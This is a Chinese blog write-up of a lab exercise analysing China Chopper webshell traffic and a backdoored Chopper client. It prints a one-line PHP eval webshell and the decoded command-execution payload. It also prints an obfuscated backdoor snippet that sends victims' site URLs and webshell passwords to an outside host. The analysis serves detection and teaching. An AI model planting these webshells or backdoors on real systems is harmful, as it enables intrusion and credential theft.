0x00 前言
今日在合天网安的web课程中看到了分析菜刀后门的实验,然后就跟着实验做了一遍,正好可以学习一下如何分析软件的后门。
0x01 基本知识
中国菜刀
中国菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!在非简体中文环境下使用,自动切换到英文界面。UINCODE方式编译,支持多国语言输入显示
winsock expert
一个用来监视和修改网络发送和接收数据的程序,WinSock Expert可以用来帮助您调试网络应用程序,分析网络程序的通信协议(如分析OICQ的发送接收数据),并且在必要的时候能够修改发送的数据
UPX
UPX (the Ultimate Packer for eXecutables)是一款先进的可执行程序文件压缩器,压缩过的可执行文件体积缩小50%-70% ,这样减少了磁盘占用空间、网络上传下载的时间和其它分布以及存储费用。 通过 UPX 压缩过的程序和程序库完全没有功能损失和压缩之前一样可正常地运行,对于支持的大多数格式没有运行时间或内存的不利后果。
Wireshark
Wireshark是免费的网络协议检测分析程序。让您经由程序抓取运行的网站的相关资讯,包括每一封包流向及其内容、资讯可依操作系统语系看出,方便查看、监控TCP session动态等等。
PEID
一款专业很好用的查壳软件,几乎可以侦测出所有的壳,其数量已超过470 种PE文档 的加壳类型和签名,另外还可识别出EXE文件是用什么语言编写的,比如:VC++、Delphi、VB或Delphi等。
工具下载地址:
0x02 分析正常菜刀
市面上的中国菜刀有很多版本,有些版本可能会被不发分析植入了后门,那么我们怎么知道自己使用的菜刀会不会被植入了后门尼?
那就来简单的分析下吧,
2.1 静态分析中国菜刀
菜刀的文件类型.exe的可执行程序,那么就要分析改工具使用什么语言写的了。
通过peid等工具可以看出来是使用upx加壳了
在通过winhex查看下,同样显示也是upx加壳
既然加壳了,那就脱壳吧,使用upx脱壳
脱壳成功后在放入peid检测一下看看,得知使用vc++6.0开发的,用C++写的。
2.2 动态分析菜刀
环境:
靶机:Windows server 2003 –192.168.1.134
攻击机:Windows 7–192.168.1.131
在靶机上写一个php一句话放在网站的根目录下,如caodao.php,内容为
1 | eval($_POST['chopper']); @ |
然后在攻击机上使用菜刀连接
成功连接上
开启wireshark监听本地的数据包,
过滤规则写ip.addr=192.168.1.131,然后返回菜刀,
输入netstat -an | find “ESTABLISHED”或者whoami这类cmd命令
然后在wireshark中找到靶机和攻击机的ip地址
给攻击机和靶机通信的数据包加上颜色,方便查看
找到靶机和攻击机通过HTTP协议通信的数据包,按下图操作,我们可以追踪tcp流来查看整个tcp数据交互过程
上面红色部分为攻击机POST提交控制命令的内容,下面蓝色部分为靶机返回结果
从红色部分我们可以看到一共有z0,z1,z2三个参数,我们使用burpsuite自带的decoder模块进行解码
可以看到红色部分的代码经过base64以及url的编码,我们解码看看
解码的顺序依次为url解码,然后再base64解码,得到明文
z0=@ini_set(“display_errors”,”0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“>|”);;$p=base64_decode($_POST[“z1”]);$s=base64_decode($_POST[“z2”]);$d=dirname($_SERVER[“SCRIPT_FILENAME”]);$c=substr($d,0,1)==”/“?”-c "{$s}"“:”/c "{$s}"“;$r=”{$p} {$c}”;@system($r.” 2>&1”,$ret);print ($ret!=0)?”ret={$ret}”:””;;echo(“|<-“);die();
z1=cmd
z2=cd /d “C:\phpStudy\PHPTutorial\WWW"&netstat -an | find “ESTABLISHED”&echo [S]&cd&echo [E]
z1的值是cmd,
z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行输入的cmd命令,列出当前用户与当前目录,执行结果如下所示
我们输入其他的命令的话,当然也是可以通过同样的流程进行分析
以上就是中国菜刀的流量通信的特征
了解了正常的菜刀是如何工作的,接下来我们看看被植入恶意后门的菜刀是怎样的。
0x03 分析后门菜刀
为了与前一个菜刀的分析流程进行区分,我们这一步特地选用了另外一个菜刀,使用另外一个抓包软件进行分析。
打开菜刀,启动抓包软件WSockExpert,点击左上角的文件夹图标,选择caidao.exe,点击open即可
然后使用带后门的菜刀连接shell,连接虚拟终端执行命令
在winsockExpert中查看菜刀的通信数据
注:由于没有在网上找到带有后门的菜刀,所以下面的数据都是参考网上带有后门菜刀的数据
完整的post内容是:
1 | a=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=QGV2YWwo |
被urlencode+base64了,看着有点乱,先urldecode下:
1 | a=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlM |
毫无疑问,我们需要分析的是z0这个被base64的部分,解码看看:
1 | @eval(base64_decode(*aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL |
后面一部分是熟悉的菜刀的代码,但前面为什么居然还有一段加密的呢,接着解,解出来的结果
1 | if($_COOKIE[*Lyke*]!=1){setcookie(*Lyke*,1);@file(*http://www.gooddog.in/Api.php?Url=*.$_SERVER[*HTTP_HOST*].$_SERVER[*REQUEST_URI*].*&Pass=*.key($_POST));} |
这里的http://www.gooddog.in/Api.php就是这个菜刀的后门地址。
HTTP_HOST就是我们拿到shell的网站,REQUEST_URI就是shell的URI,Pass就是我们菜刀连接一句话时的密码
这段代码的大概意思就是,会将我们拿到shell的网站的地址,密码等都通过后门传送给这个网站的所有者。
这样,我们就分析出了这个菜刀是存在后门的。
0x04 总结
整个分析的过程,基本上没有什么难的地方。以后在网上下载一些报毒的文件,都可以这样来分析一下会不会被植入了后门,像前一阵子的phpstudy一样,引起了很大的风波。
0x04 参考链接
http://www.hetianlab.com/expc.do?ce=85d14d4e-5b36-42b9-9415-453efa35de60